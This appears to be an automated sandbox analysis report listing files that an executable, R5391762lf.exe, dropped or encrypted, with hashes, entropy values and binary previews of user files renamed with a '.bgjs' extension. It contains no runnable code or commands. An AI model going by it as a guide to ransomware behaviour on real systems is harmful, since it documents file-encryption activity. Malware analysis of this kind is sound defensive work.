SHA1:	0567E050B1ECF6C163878E95E5E6554E65BC4B0B
SHA-256:	CA9DF4253B6B03B862D94CAD27AFA67153B9AC242707FB547D9E319D70E3B4BA
SHA-512:	CD31F8351F64268FC4ADBB8F0FB6E4F7DC349A6E6DC85845D102525EFD9AA4DF8FD4DFAAA721009EA4223933ED3127398FADC926454BC1586542662FC40BFD47
Malicious:	false
Preview:	CMMM .....?....RX.Q..x.I.T..:.}....5.&t..J.$...@.-....W.Q..D..#I3w........l.+..W_.%..)S...@5...{.....4&.p{.z.+.7..?i..o>...UX2.5.:..n..........+:.eX..z..a.M.....M.2j..^.........(......CNG......)....6.C..n..I..M.LC..T.....'\V<p..0]E&.\.-........b.j .O4Q.[.0q...&..W..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.312628855747852
Encrypted:	false
SSDEEP:	6:nv794Lovwi1FEnZL63QFs29SLpG4UNPIdBGRXcSloPrF601z8F9/GYwYUGv6lBcP:nj9Go9GZL22j4e0GRXgn1z8FrwYElBu5
MD5:	15941E0E915B81FAFF361C6064A31DF7
SHA1:	E25918C2FD6863A8FC10CD411E0B3D40371BD690
SHA-256:	6DF9EED0EA0EA517FE206AF573FA322F63731542E27396004E950D35AFF45881
SHA-512:	5EB0BA1930B9D088F6AEEBD902555AC3A42D76A00076757F59BFAD0E7AAB768A7435496CA0B885AC07A71B68F38B27E46F4636F40CBDF73C3F0B8E849A91A7BA
Malicious:	false
Preview:	CMMM .G..a.r....#..;Uq@.N.........M.e3W'\|A....e...HU.h.J!oU.w........_..C.I...a....../&.p.3?...wO!W...Ht.dV....w$.....O....L...]..yX.x....c.Vr......1..k{....].w.Ry. .+*...fjj....X..I._.P......M.b..i....k.....(.I........J...r.....P{.4d!...tv..:.....hj.6.P.ool;J$).doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768749407851887
Encrypted:	false
SSDEEP:	3072:KaWk4AhCEZwlxT0vgESH304QGCnJDXfOFeajY8jbxAtX6TpsTduXr:9q4CBT0oESX4xIs8joSsM7
MD5:	0D27B25583DA1F0FFF3326AEAA25383D
SHA1:	4158EB6B3541680FD8A1FEDA88D469A7E05D10C4
SHA-256:	DB9B661F514285D52F233A8995426329AFF306B5ABB2B0D3AE16E7D703387E1F
SHA-512:	118CB4B952A3BAF5CE0E81AB486355455580E656A9E49D6B90AB20A06C230735598FACEAC5CDF1F7C4517DF1E72F35414AAD296D1C89B6216C58A5D65FFA6EA6
Malicious:	false
Preview:	CMMM .x....r....!p.d.p.....w.%..[.....D...3... \Wr..a.t3.fB.v.i..G....!T...g.55[.....!.2..%....a'......n0.b>.....U.N.FD.u(ZaVp.D...9..k}sU.p]..R..]mA..\...%..7N....\|.-0..F...R.(jj.Ab.".&.....N5...1VJw..#.u....p.d.Ho5.El..Q.:......-a>...5.$"X.x........S)d.#m...c^].&.........8E.....g%`X..'.......9...Yb.K.w..c..xT....PC.#.(..V..Y.i:.G]._..Cm;.'..!.U...3..'.e...u:...p2M.N....U..........#[...z...n.V...2..L.Wh...i..A&\|....&.3..d..A...a.}.N.5KF.......?....dLw....3.....e(n....+...&I....).\|fT...9`..`...qO....Q.u..hX.u.Bq....6..=...8.)#.7..;.J.s.s9..Mw+.B.......%.f.`.g@.gq*,v..z..5...w.I.+V].._.}0I..F...,.P}..=n..4MA.@..himv......j....Mt...O..qx!w..Q...9..C.m,P.......;.'...P{6.y.X...g.@.M.................2&..t.Cc..n..{.'..hml...T.s.J..-..`;k.V_.t.kAv.P.@..$Q.'.zU....\...^..8E2.}1.. [..74...h'>....K.WNYn.Y../.6>B6.xv...I.....>.+...r....X.D.dZ.v.`2IY.....P...f..).XG..x,.R.....>....r..p..;..g.......<...=..._......s.....mN.P..U.......<...........4.....

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.269721061337379
Encrypted:	false
SSDEEP:	6:e3XgEnuSAnAwvk7h06cuJSezCe9nC1rUg5oAeXtZ3dtXqHk7T3eWcii96Z:engs6AB7hzcE9zCe9norfiXH3DXqOTuQ
MD5:	9C0E43FD9435E13F65E783FD807A002E
SHA1:	7152D8890A20F6B88DA8072F9268708E310D9F84
SHA-256:	4B725E9683887173B9440D070AE8B658DFC6134FF09DDA0156EE903AE75143DB
SHA-512:	7A83F459FA4356028146BA122F6AA09BE6D18B25ACA2325846B0B16F94A115C82CEB7DEBB2F1F768C4F5E575FA248E0CA8D51CEA68F6023270517D1E01B0F48C
Malicious:	false
Preview:	CMMM .J.c(.KO.a/.P..~.U...PA(K....2r.....Quw.?.}n......eZ"..._5.r....E .D.B.NB.xOq.X-.....5.....8.K...y.&.4.d0.=.`~.N]..cy...j3.f*.....}3..a...."......z....G<.I....ss....7h..=1.L.#bc&.o/...QY.\.......Nq."..7.l8....;N3..<....w.a.9.=...S<..\A...........A....qS8.qa..)_..Qdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.120345661746461
Encrypted:	false
SSDEEP:	49152:0a0gxiVfn1NVhgH9KyqPIr/3+qrYEIJxs7:d0gxiVfn1NVhgH9KyqPm3/rYEIJxs7
MD5:	E996B869BACFC8F2690ECB3012F2E66B
SHA1:	FD7948A511F49920129EFF17BEB771C8D0FBEF32
SHA-256:	45E7FFC006A90DC54ED45E894D2A00B27187D0B69994F6B44EB2B42AF5C855BE
SHA-512:	1E6EFB724144D121A558F16320AB0B3E735B1C62B477B21D3FE6F2C90C64C16D3D2248F8A6B172AC06D4B33EF1B74CA1E397C4A033AD35A655F8DB1265E37C21
Malicious:	false
Preview:	CMMM .^./...........t.........f..6......w>.EB...)=r...F...x.2.AEDz.l.."..:A.rd.y..h.Ns.~1.......3.B!..d8.../...._y..7s[7...Q....+ea.$...M...z..DX..C./......j..k...;..].e.r.<H.k.v...O.=..u..7...:..Ze.i.8O..U.c@...lM...p.7.2.)<.qi:.0.....n.....5;....].....3@........'.:a...$78#..3F2..My..>.&...y.;Q..\|#...\|5U......j.:..<a...l4H.@..W..X....J.....k...,.&.....q....5..u.J.{f.Z.J...........P..:.6R..G.E.f~.;...2T!k?...@..}..._..Z..Va.......P%.._9(;.h....&."....h..Y..!.\.+Q=.?#..=.R.p..D..G.w.x.?..&$.&..~...L............d.\Y.....J1..sn.$..@D.....Oy...w".k.[.'t....\|..<..'.Km?...6.V.k..ej.&.L..KhnL.g......q......i./p...w....M.J..o.....]a..../.n.6YZ2W.&..0A.;P.7..[...p@.X..qN.y.G.;.......q..!.......`Ge{.f.5.r...b..\|,.~0...._.R......,t.0..q..s#Z...$Li..p'.GB.........J(....kDV.B5...Y.._.&...$....n....8...g.m.e..!\(..u.sc.. qQ..q.;...........B.}.~.1.\|9.e..".+i..a.*..Z,W..DI..+......HdPi.M.@.y'.Z.G...5z\|..v.{.........}...S...I.>.sKE.V./N.hX.....7.e.)..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.205906394808336
Encrypted:	false
SSDEEP:	6:tiMCbB7A/nDta6eDFqkPBoMo8Rko6CgkWAApT+zppdAA1oORNO/R4pVtXqHk7T3n:c7AvDM3oMo8RH35BzfwkO/R67XqOTuWX
MD5:	309458C9C7BC6BEDFC1E196AA447B64F
SHA1:	9E56F7E878D52BB8FE8368DEA5AE7CDF7624EDBE
SHA-256:	62FA601D2B8E70A1FB6C14E69A91E92C55A9CFB47A65C392F99E29F7CBB5F3EE
SHA-512:	08006A62C67B2EDA36C5379158A6CEF55EDF88ACDD41A314A73C915855CEE1E84E5E3B9C5703486074CCB246F402998EF8F71729195A15C5AD65EF1EAC79AF73
Malicious:	false
Preview:	CMMM F.g...-..hM.>.Q....7....Ex......E....o.e+....%.............n.J#.S..<.K...3....A..6.]du.kX...6...@K.*..co#..#6-&.$%.A.P6Qi2XF..(\ .\4DO^..../.B\,...l..n+...)..h;...7P.$....i....$..w..lO...8..-.G}.8'~...bKt'...k4?"}........LQC.0.(..%.}....4.<...Hi.3...x..v ....a...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.31684610436329
Encrypted:	false
SSDEEP:	6:cThIXoXVM5yUwAPlEYnTFqBeoSTzz7NXYFxbRK0pPxL8tXqHk7T3eWcii96Z:CIYXVM5JNOYnxqHazVYFnJPxiXqOTuWX
MD5:	9A4294D9D1CC897468BFD615A5D37FAE
SHA1:	750082BDB5079CE38F3E27B641908F21E4B19B9B
SHA-256:	7D8F72FA1BC5AD1F4DFA0C4ECBB6C461194AABFD9F5A07EB6BD21B27441E15D0
SHA-512:	1D0053E3B77FE566B415D3250BC125DC9B3F70181CFF79BD37972E8D2F02D26B19A8655EC88A75BAA96D0FA68AD6B4C5140E6398F1A35176BDEF4C768DA3F335
Malicious:	false
Preview:	CMMM m..k..%VT.~.O.M<.....L..@>....Nz...~.*..x@h8$.$npS.....[.....[...M.m4.M.%...^2.r...(..'..^..cj.w...8....\.+.t.9pH....}..:.q.{7.-...\|'...N..{.y...H...N_=...M....r.)...8....&h...T..S.@.6....[..HR...o.b........./.Z9..[....^..../..}T.P..c.=?f.:...N...D.z.#.@j.... .M.R.$doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.212466494097713
Encrypted:	false
SSDEEP:	6:aU1aVK9rszsoMyzZTWbMew5Oic0r3p8aeRcTJfPFPqvQfFhSIlc2wKMtXqHk7T3n:t1awrsgkRWIew5Ox0r3SRcT9FPLMIdzQ
MD5:	E6D03B961AFD424FF90491DE57EFBA8A
SHA1:	BB6905286CC50B701371FA568EA48DF513523B10
SHA-256:	F69B65993CCB62F7214CB9105B3FA2B6CDFD191797EE4620C3580AE5E55A363D
SHA-512:	BA05FB02F67C2CEB1BAA5A21DC3AFA4C036CC2DD6E1655F8367A9C9D5CE670F2683F6CC685DCC8C2BC5FD8C603DC8234ED4852BBEA9874DE1C74B158DE5F3A03
Malicious:	false
Preview:	CMMM ..gfP.[T..ft..#..n.T..U...`_..#NI?..w..^$.<..b.Q.E.Pd..E_A..9>9.U:....Vd7...3{.@..b#~H....i$.-...N.fU..:..9...V.O.{\|.f..}.(/........X{.x.0D.F^...d....8./.{.e8..s...:r.. ..Gm.a.p...I..=...T../..!..=.....`.4.......{.:...N....zbR..(.K.g..Y.?I.g..A.^..~h..@i.o..GSe.b!..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.328116869457814
Encrypted:	false
SSDEEP:	6:klHmwEyKvuogzjh9Hjsa0OEvbZ6JPig8OcQIJloGMtXqHk7T3eWcii96Z:klQVGh9H5wbfzOcvEXqOTuWcii9a
MD5:	6CCC43D3133442B605588E032872D5AE
SHA1:	3D340AB9C66510FBF1AC3927A7F87A75A02AEC39
SHA-256:	B27B3397F9BB9371259A2B345851D9112401D5D2BC1317EF955EE48E9712A2C6
SHA-512:	D1A41B7B747BE3091013E9A686B5F62821506CC72C523D9FB18CE1E40AF45778B5E7707501433A9EC51E27B83EDC5A043B57958EEB033B6F61227FB16F25C11F
Malicious:	false
Preview:	CMMM ......"...&......5..g.b.^...Y.avN^c...Z....W..cW.-.En....K;.v..zp..A...`pu..`=E.%K.)5...+S!..-g.. m..?..]m..:2.l.k[.z....2..K.$..ma.K......p....`...s...~j...X..%o>..C......).,.T....b..Y}*..\|...?:..N[........,..s..F...=....nW.q...G.`H....2..ys....s..;?_..M.I...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.165458333697405
Encrypted:	false
SSDEEP:	6:tMdS4SgD4b+0/7pRXVSm98dr7B22+SrfIjRAi0crLMY1qItXqHk7T3eWcii96Z:tr41mVrrKdoyGlPM7KXqOTuWcii9a
MD5:	F35B0A0A516F1039513A09AAE28E469D
SHA1:	A0ED9510A2D9B5C88397FB3F7739D2D32FDB4F1C
SHA-256:	502A6A59FEF13B388BE446001F7FA3A79A94F8A895EC6E636B2B3607CC254686
SHA-512:	F017D4DF7E521C4517FAA2BB0674A24D7A2FACA4A4AFCDD38E163C58861C1B4D30EA3ABC87011E140CADF76EDA23FEDE7A932A09A3FEF743E5498F589B01A844
Malicious:	false
Preview:	CMMM nn.eN..A..<.-.k..C5.?..Z..V....iO.m..N..u .....c.9.gbv^..WA..A...%JH.W}....bh.y.I-,O..C/..tY6.......u.pXCx.Qt..5;.....6..X..B....d..D.*.[.....d$0&.T N...sG.0.Hx.\.q.A .......d. ..R.\|.[F..+.88.X..j.7.0'b../........9.R.<9.q.t}(..ebo...V.R/.)...~.!c....m'Q....Z.CSdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997192628633233
Encrypted:	true
SSDEEP:	1536:+I3ahE7UTZqttfmpfmFGjGCKH5aX5bZGz+xaCpIyoPY1/3:U+jfoSsJlGzkvToP+
MD5:	9F8847F761671EF0A979B374F7287809
SHA1:	B28ACEA052882C89800F8DE5A7F5149B422F64F2
SHA-256:	327603B50424C0C8BEE1F68216B9B61C0E275C40FCAB66316C4F18121610F62A
SHA-512:	B862DC75783D8B8E60CA9AADE4F27108B58968F7178E638DA38B661E08A9C98FE4A259DB1B70AAAF1D83448E73D1BFA199A0F905A67938A0C1F5B831898AA0B5
Malicious:	true
Preview:	<?xml:.....Q1).>z<C.\|./..7..[0+.+Qs..>.^...+y.8...Qf.QLM...'..[J.x.).].t.c,..p...].........#.P.X...B.(..bubg...1.....d?.gF.&"....F...Z6.../.T.......$_...QSi..V.....4.....[.].P..RCv...U.-..g.d..(..O.........<ae!.s..AQ..........=.\.b.h.......A.v...xo.WC.4.:...&V.f.....q.r.Ct...v.$2]... Z5.$.".t..S...Uw.n.\..1p.=.;..x/....vq.E....\|(GT.j..~.....L.(s."6.>'.?.hZ.\|N.m.f.U.:..A..a..v..U.?......oy...........Vh.Z.c)..d<....Re....R....RHF....<...$...^.M....\|4U..?.......c.3<M.....MW...[...t..!.-.D..&o.U.f.....i4.A.C...........5....%...\...i.4F.q(...r.pt[?.-....d+..([...f..W......Q..Qbd.Z._.z.b.+....2TI...hp....~?....0..R......KG...>l...o<en........Q.X.E>.&.lk.B.S..z......>...K.Y..O..U....[w+;....#..bv^...Z.B.f...w...)..[...X\..9...........}5....]W......1..9..c.PJ./M.9Y. .J8.}]?....ZU....^...++.tU......n.v.=..M... %..}..U.=...G......[.....\@....9...-U...9.h*.MU.!...M.N...x.........Ym.M.}.....==....}.%uc....(...YHmc.4.R.K...$..s...dVH...<.v.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9768716718372685
Encrypted:	false
SSDEEP:	192:W0QAwrNUZqbSNP17MZlxTYOGcuw7fWPJVrxki7SLgfffV7sMehNT2Q:WPruqSNP17y//GDCuPHGy+yqZQQ
MD5:	96FE4BEB3528478BF5007AD0B074A510
SHA1:	5231B01826C0512AFB6D4796A10EAB501472334C
SHA-256:	A2BA4CB73CEA7114BEF32CE0FD216C46ED9A765D5A735DCF4BE91B8CA7E113F4
SHA-512:	9B8B6FD6D2616488D96A5154C76B7F7D54103CD87F9527E50DF6B1CA56FD1B96FC3893CF9ECF2D89849510B7C8A9F53E8855C5C6CC8CB2405C5CAB9205EA1125
Malicious:	false
Preview:	...b..y....g.f..D..;Z. ^....$.......... ....K.B..X.A..L...^h6"..O..s<....b.-..>... ....2HA.=.....H2. ....N{.a..jp.w..G+.:..Y.Y.P..7."........Y.W1u..5.;....6..}.......TFi..r.....`.kH.H.....\|.....~4../R.L.D...5..P.w/l+.......+.++.?..C1wX.p..&.....0.5..../..}.h../.?Sog0.^+#..Qi..af)h........P...d.7.....v.B.72.Wj.g......qU[.......4....<t.........Pa.. Y..Q1(...b..vA.>jX.3\|..{.Q..z....X..>g>.....}B....@......6k.{$].#..d....@h..#..s.:...iLB.+XN..L.V..'.>g....8........i..6.+S...yG<.@..%....Ilm.....WI.m....NC.A.H.......kJ..Q....=........k....."?..{....u......9y......7H.8......o.&..3..\|.1_......"26$...$P.W.3...X.Q.k.,S...n7....T&....[........z>.>Z..(...xK....e.....8..T..r.R...^..h..ez...a-..y.6._i...`.T.X..o...?.{W..w.7a....q;H..r..5........m9M..+..n4..6...[....<.....5Sq.....%iow.MF......{e..s.?f....2........2....:.]...c...t.....vwnl......y*....CB..H.HS.....9s.JWWg.....C.3.k.....5..xW...M.GL.R.j).cp0.mfZ.....F....6."...z..V....;u.a..t

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V0100004.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	7.0961683693805755
Encrypted:	false
SSDEEP:	6144:DwsXwSpCCVeINiphaHerubBmDKkPDWNtlZwwxWf90lvIN7bBD4WsZfU1cXqAYWLt:DwKw/CVZNXHeyBKDPBD4ZZfU1Fn6
MD5:	78138F56040E180E84A680F78A6F7AD8
SHA1:	CC18DEF5A8A9E6DE70736A4E64A6BD3641975475
SHA-256:	1B7FCEF6DB70EFB76CC9C046859310CE9BABF778A2CA93EA6C3E9CB4FA7B9E70
SHA-512:	39DE7C90ECAB2F38F3FFB4BB3D64457C6AFD1B58A88B501B552E88E320C49E6E926A35762EFEA5639A62FABA1B38050CB1494F1688A9901992BC3F221F41AC3A
Malicious:	false
Preview:	<.........^..`....T..8. .....Swnt.t.N&...p.v.^..h.Z..>.QW..L1..l...o.b.....e../Vq.;.U.._...0.._tg...Y.8...Zh.....(.7........O..!F.z.......D..[M..6..s..d].%...`o..d9{..$\+\|.y....A.H.......VS._.E.....q..}g).\..B.]...&j9..L.4.5.M.a9X...D....m.........1... ...R=~...ah\|.........D1.[....>.@.Gu.Dn.a3.....7......=_$.E]...O..f2...(.w.(.Cus..e...H..f.hh...%.s<.uZ..H...?...S...?.l..Tv.t...._......3...I.@...q%.'q`..f"brM.2..........Q+u.O^yq./.........o..(.D..V.:......3...HR.@...>...jz.b...$.....w...........O.....<gA...w6..\&.~]!.....d.L...%.C.....h.N[^&......i....O.......J.5'l.g3.,..t.....)..C..C..%..G...aVj.....F.z.............gL.k.cx....X....RzN.....+.:)..@l$.{/.../..*F...H.2......d......z.GJ..,.:)....5E.!.{r8l..-.7^K.....].~. D.\|)......p..$."....M.L..i.p.@./...i..../.d.,......L.s..!................;W.3......j.....\|p......4CWV....Ymw-.Z....!.K.';......`.0E...!.q...S........0....A..1.3._.......zI..H.'.N..o._...`.%i.....1...4.....f.y..........

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208781974686741
Encrypted:	false
SSDEEP:	3072:xaiXL7r5DPTF5E28AqT1+bw/nOImhlfB7HaQjCjR1KZ6ML:0ij5DZ5E28AM1+cPOhnBDa9R1KL
MD5:	B743502918B202A8262FBA4A694ACCAA
SHA1:	FC7490532597EC04E131670CB0E2D1D99F40C345
SHA-256:	E86D10020B8028B822BEC2CE044254BF407555F389866DD4327A7EDE660F4EF6
SHA-512:	341C28DA0F039087D62C77E3F86D45A61DCF1B19BBABE9244A0F00D1532730C29D928E6EE02D0758ADAC8E2699855432466ADB01D36562232CCBE3615090A9FE
Malicious:	false
Preview:	.................F.._.......R5....1i..]'.`.6A.K..$.:.N.T/....1...p.)u{i.x.Y.7U...D...q~dYwb#...E ..z..4.z.vc...p8..1.........6 .8..v.1..U.n...}......w<2.q.c....E..A.)..'+).W....$....9u..}...E.......i....C......k3..E,.....qHn...N.c......4K.7d.\...v.).K...oh.......;..r..8'..sv..@;..08.2......3..UT..`..r.....VY..R..#\-..U.K&....u.5.-]...B".Y>.....`.&^...J.3,...@..7...}.y......63...e..u..Y.?...J..T.......T......=gz20..h.^./.!.....W.AR.c.7.2x.....9.....uC.<.......V.,..S5....a.d..F_`ns.,.....Hn.yU#j.....B$>....8. '3.c..-_...0..............]..g....I...a..t"....@...0...".<B..L.!....8...D.0@i{...L.Q!B.2C.\q..lJ1m-}...S@Y9.. /YEw..G&...l.Uh...RG.S.y}U..1aO..:p...[%DC.".Zc.5P..>g...A.........k...-f...l..._R... ..$w.$y.'..b..z.+S...j@i...D@.qeAE......0...+.6-..G..B.&.<Q`n.0..p .v.V........V`x7..6L.a].7..E......E..J..)ag....1..s.-5...<!.......sF...........n.Fl.F..g..pT...>.J.m....X...w...C........K>.40$...:..t.#.\|x5)......ec9..\#.......Vk..M.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076065628539707
Encrypted:	false
SSDEEP:	6144:A2R2WhdfQaybfA+QXIf8aY+ioltjtBy9i:AEXhPyjWXIEaPPyo
MD5:	B9C8738B0EB0B2163EC022B31FB14FD0
SHA1:	CA0D7F5BA9DE6CA05F7FC9129585F038D5E48071
SHA-256:	D16C978794DFA45C85459817244A10DF10671EFA33E5A63F10204778E0910BDC
SHA-512:	4A80572CD2E39B5E54FE49EA3AB7264F1C936655589A2A9311AF8F342191759D11C780FD3E4DB4779DBE3E5063AFF3E2B02AE3411E1283D7648EA7721D58A590
Malicious:	false
Preview:	........<.6)..X@s..r...e.P.7.77(.-...X8.i...m...:....!.....+...... ....eg.p ..$i1?....x.a...l.@....7a..e..B#f.!H.0......P.pl8...>...r..Z.. ../PR.)A...^.:..L.yw[.p.....2.8....9B...nh9......#C$)km...BV0....38.{...Td.(...m\|.m.0.Q.(w.zA...;...../u.._..Uz.l.^Q}..{...s...`.~].....s.A.`~..i.r..6$.s.1.d.ff.&.>.>.F..U?....8...u. .u....y...CM.....F.H....b>....^. A.. .n.HIBo..<.>..x.I.p..Q...:............7=..8........-...H.T..\|...Q.."sHr....E...a"........4.W...].z?v...,...7...G.....b.2.a...OL..Jq..yw.ya.5h.j.D..e%x.5(....2.......WsR%.L..ax....)..Q..4j..p..BRQ.X.N..@S..C.. ....x...g.Qs....}...5...Hg......u.(x..zC3..C#....5..l/?r0'..G.c.gi2'..... ...2.K.....d5.7{...P2;..a.=og..5.0.....yvm.)..}BPkl..\5..0:.BO....xE@.3'..1......P/...4..g.."]eT.~0...T.K.K.9....6...l..$cDB e.8Djh.gp.([b.....S\..j......-..!.._.d..K.4..S..z.-3.V.l6w\.6T..('..".Uzj.c)...,<..LP.[V.?L....B...O.<......w..Sm>..Y.9....+$..E...c'\..d3@...P....kG.. .(i......L.=t.i..k.N.g;..{.~.......

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.074126990572823
Encrypted:	false
SSDEEP:	6144:hG9xoy2UDJu0z5+TfXOt6SBmYA+tJxn63q3:ovDw65e6NPA+tz6C
MD5:	A477C25F1CA969B05E31F6D9C4CB6983
SHA1:	37D2AE47FE57CF9BF85AF4EA97FB3E047BBC3818
SHA-256:	4780E2E5905D73549756805AA41C62F581B2EB597775B2E83DA99184782810AE
SHA-512:	B29523BDFEC9311C2AE1801CA92F56F54E60DFAAB42B95441C8A85AFBB266A324BA7270D14E55B5ADAC4698C146D850A526639B1A84537FE8B00438C154BD125
Malicious:	false
Preview:	...J. .t)..........hR.#7....:.F......[....,..F9...b..@JTS...i../..<.}....y.....K..R0....Ds..,...6Z..X@[...^"'.0.....9.....M^W..~...)..^@.F..J.+E_.....$j...A.A.r.O.e].w... 1f/H5M...B..<..HE.K.h9......."H..Gc.Y.M..i............ 1.\|&.>.`...._d.(...].........L./.........m\......Q`...x;..s.Q.g.".7...X..S.^xT<.y~....N....c......K...xP.L$I'.L.....<.$y^.zE..}.......j....>....k..J.Z..&=k.'.qE.I`I.#...._...jr.N\|.T..i1......Eg<.....yP...s...'?.(O..@E.A.E..,....WN..`.W$$#..(.e..eH(....i....(.9...h'j..t}Y..o....+\...5.\|..r..]....].q ....XG4rOQ..L@..."..._XU../.G.G.4^.Y..8i.(....n=Q...,*...u.t.<..._..TG(~%C........l1]..9....0...6......6...^..(I..h$mn.M.[.Z4..;.<.B.Y.K.....H.u5..=.....P!..$5..>t.;....nd..1C8s..........?b/LP.z...Y].v...Oy.......,..`..h.m.BAAZ]6....h...{................../..U................l..H$?.....U.....:.=\|.O..!]6.O.2..SS.G..aL;.8..J..\e.7.....V{AR.^...\a.[Q...7-\|..KdL....5o..hK...9...i..%G.q......j..\|...j..FD.l..)e.. &.Z.V

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.992437573905462
Encrypted:	true
SSDEEP:	384:LhhRHNnOwofek6B6HuHW8x9+Fs1rLCyk2pIw/MglpnVRpKiMpe6pNOD3Q:9h9NBMHu71rLCN2uwkeHRpapZpNP
MD5:	4437E79A3640D132E15C0ED2716C0B56
SHA1:	9C4995DE8437E3D1A22A26214A08D8637A0AA474
SHA-256:	5E907504327179D5602A84AE4B711FC915B0B88AAFAB3EBBF7BE880F372746FA
SHA-512:	4F3FC095EAF24124B3CEE4DA00CADE4D4D6D58532F7D9E75E1E3F2AD9A31458A3DC8F06902475F8E770EFF6AEEC1CBDB2A5DB1D4B2E1A9B2B5E584900C514CD4
Malicious:	true
Preview:	......7..i.\|8k..0..O...o.h[...9.@..C....._...H.r..b..s....;...G)......i..3.0.?.2..-....8.2.B:o.......xq .gm...`.sK..<.}Z...>d.7.C..&....(z..\.@.~o...k.j<...{g..)...N.........n}6..O.d...L...rL....-......cp.GP..l.....5P$..7;..Ok.."&q.l......b...djl.$.A..Ej.+.~r:.O.%M...3."j.......#a.f%.]....../cW=....R!....U.r&..S...1=.[.%^.b..:.kq+....G.F...c.JdQ.7..G.Y........tXMaO.Gj.a.ak......5..v$U.p.uI.,..7wE.i..qZ$vc.W.8.M..[....5..X.%o_x.YT..e.0.[..L..s.l...qxYEb..qE.~SY"pq....+.8..=x...e....i..#..$B..+(u.....5..M...o[g0.e.N...-DR1....1..m#.I/>..BI.....P.c..O......!._d..U...'{s.2..ta~.s..gl<.....X....6.W.9V..Fu.j.)....H:...........[.P..,...cP\|}...o:.[....p.c.....p....g..#lJ.w.P-..547..o......*...2.9)Vgc.$.n..o(...NgE....`>...b.q...:....hd.....{.j..#]O.....&.t.]......:E..y.U......c+4Fg...v.E5.E.q..l...O...s..a.\..xN^}.j/T......\|.......5.....=.5..HD@...P.....l.O......$gE(B$W\|.T......."..6.U./a...c.p....\<(.R...k$W...r.....f.C.{.\|.<...-@..z.q."."..

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
